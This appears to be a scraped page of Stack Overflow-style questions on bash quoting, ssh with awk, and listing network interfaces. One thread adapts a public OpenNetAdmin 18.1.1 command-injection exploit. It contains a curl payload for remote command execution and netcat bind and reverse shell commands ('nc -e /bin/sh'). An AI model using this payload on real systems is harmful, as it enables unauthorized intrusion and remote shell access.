bash script interpreting awk correctly - linux

I have a for loop script that needs to log into hosts and get their hostname and the value of eth0 interface. Im using the code below, but the awk command is not being read correctly when running it on a bash script
#!/bin/bash
for i in `cat test.txt`;
do
store_number=$(ssh -q -A -o userknownhostsfile=/dev/null -o stricthostkeychecking=no -o batchmode=yes -o connecttimeout=5 "$i" "hostname | cut -c4-7");
eth0_ip=$(ssh -q -A -o userknownhostsfile=/dev/null -o stricthostkeychecking=no -o batchmode=yes -o connecttimeout=5 "$i" "sudo ifconfig eth0 | awk 'FNR==2 {print $2}'");
output="${store_number}: ${eth0_ip}"; echo $output >> /home/eth0status.txt;
done
The output is as follow:
0021: inet addr:10.1.10.62 Bcast:10.1.10.255 Mask:255.255.255.0
0022: inet addr:10.0.1.74 Bcast:10.0.1.255 Mask:255.255.255.0
0023: inet addr:172.16.16.103 Bcast:172.16.16.255 Mask:255.255.255.0
I need the output to be something like:
0021: addr:10.1.10.62
0022: addr:10.0.1.74
0023: addr:172.16.16.103
Thanks for your help

Quoting is a hard problem. When you write:
eth0_ip=$(ssh ... "$i" "sudo ifconfig eth0 | awk 'FNR==2 {print $2}'");
The internal single quotes '' do nothing to prevent expansion of $2. The shell sees $2 in double quotes. It will perform variable expansion, and it's highly likely your second argument ($2 for the script) is unset. Test it out:
$ echo "sudo ifconfig eth0 | awk 'FNR==2 {print $2}'"
sudo ifconfig eth0 | awk 'FNR==2 {print }'
Either escape $, or use single quotes outside, or as others have recommended, use awk outside the SSH command.

Related

How to use ssh -t command which includes grep with quotes

I am trying to grep the third octet in IP address to an tap device on remote machine.
ssh -t user#host "/sbin/ifconfig tap0 | grep "inet" | /usr/bin/awk -F'[: ]+' '{ print $4 }' | awk -F'[.]' '{print $3}'"
I am resulting this:
inet addr:10.22.66.77 Bcast:10.22.66.255 Mask:255.255.255.0
When i run the command on the remote machine it shows 66
How to make it working with ssh -t?
Sometimes using perl is simpler:
ssh -t user#host "/sbin/ifconfig tap0" | perl -n -e 'if (/inet\saddr:\d+\.\d+\.(\d+)/) { print "$1\n"}'
it runs regular expression pattern on the local machine match on the third octet following addr: and this is then printed via $1
The pattern match is run on the local machine to avoid problems with escaping " (In your example code the " in the grep inet seems to terminate the ssh...)

Bash Syntax Problems for Exploit

I found an exploit at exploit-db for the OpenNetAdmin 18.1.1
I have to adjust this script so it work for me but I don't get this done.
This is what I have so far:
URL="xxx.xxx.xxx.xxx/ona"
while true;do
echo -n {"nc -e /bin/sh xxx.xxx.xxx.xxx 4444 "}; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
The output is just:
{nc -e /bin/sh xxx.xxx.xxx.xxx 4444 }
I am a bit struggling with the syntax.
What did I do wrong?
This is what you want, if you just need to launch the nc program. The script supposes that the remote machine is a Linux machine, with /bin/bash and nc (netcat) compiled with the -e support
#!/bin/bash
URL="http://.../ona"
cmd="nc -l -p 4444 -e /bin/sh"
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
I found a solution that fits:
#!/bin/bash
URL="http://xxx.xxx.xxx.xxx/ona/"
while true;do
echo -n "{/bin/sh -i}"; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltip>
done
Just replace the xxx.xxx.xxx.xxx with the target you want to attack and save the script as shell.sh
Now run the script with ./shell.sh and you get an interactive shell on the target system.
To verify that you can now type in pwd or id and check if you was successful.

GREP and ssh command to output variable

I'm trying to collect 1 row from my ssh command to a remote host by using grep to get the row with the ip address that I want. However, my variable "TARGET_NODE_IP" seems to not be matching my grep cmd.. While if I put the IP address manually e.g "192..." in the grep command it will match the row I want, but if I get the hostname -i to the TARGET_NODE_IP variable by ssh the same ip address doesn't match.. anyone have any feedback? Thank You.
if ( ssh -o ServerAliveInterval=30 -o StrictHostKeyChecking=no -q $SOURCE_NODE_FQDN '[ -e $NODETOOL]' ); then
BASE_CMD="ssh -o ServerAliveInterval=30 -o StrictHostKeyChecking=no -q $SOURCE_NODE_FQDN"
TARGET_NODE_IP=$(ssh -o ServerAliveInterval=30 -o StrictHostKeyChecking=no -q $TARGET_NODE_FQDN hostname -i)
TARGET_NODE_STATUS=`$BASE_CMD $NODETOOL status | awk '{print $1,$2}' | tail -n+6 | sed '/^\s*$/d' | grep "$TARGET_NODE_IP"`
echo "$TARGET_NODE_STATUS"
fi
... | grep "$TARGET_NODE_IP"` does not work.. returns blank
... | grep "192.xxx.xxx"` works... returns row i want.
Thank you

Command line shell for identifying interfaces that are up and running

Is there any shell command for filtering interface names that are up and running
Run the command /sbin/ifconfig and look for UP.
If you want just the names of the active interfaces, you need some scripting:
ifconfig | awk '/^[^ ]/ { name=$1; } /^ +UP / {print name;}'
You may check it with several commands:
See the content of the network interface file:
cat /sys/class/net/eth0/operstate
Using ip command
ip a | grep -Eq ': eth0:.*state UP'
Or:
ifconfig | grep -Eq ': eth0:.*state UP'
Where eth0 is your interface. Original post
ifconfig | awk -v RS="" '/MULTICAST/ && /UP/ && /RUNNING/ && /BROADCAST/ {print substr($1, 0, length($1)-1)}'

How to cut ifconfig to get eth* details alone?

I'm writing a script to print ethtool details of ifconfig.
Sample output should be from ifconfig is like,
eth0
eth1
eth2
I have tried using below command,
root#bt# ifconfig | cut -d ":" -f 1
But could not able to achieve the same.
Actually, i need to get these eth* and pass in
root#bt# ethtool <arg1> where arg1=eth*
to get results :-) can you please help me to get crop from ifconfig. ?
No.
$ awk -F: '$1 ~ "eth" { print $1 }' /proc/net/dev
eth0
With grep & ifconfig :
ifconfig | grep -o '^eth[0-9]\+'
Or with only grep :
grep -oP '^ *\Keth[0-9]+' /proc/net/dev

Resources